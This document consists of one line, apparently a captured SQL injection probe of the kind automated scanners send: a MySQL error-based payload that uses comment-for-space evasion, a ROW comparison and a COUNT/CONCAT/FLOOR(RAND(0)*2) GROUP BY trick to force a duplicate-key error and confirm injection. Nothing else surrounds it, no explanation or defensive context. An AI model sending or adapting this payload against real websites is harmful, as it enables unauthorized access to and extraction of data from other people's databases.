1AND/**/ROW(8493,9259)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(8493=8493,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/6155/**/UNION/**/SELECT/**/7190/**/UNION/**/SELECT/**/3547/**/UNION/**/SELECT/**/7329)a/**/GROUP/**/BY/**/x)– – 1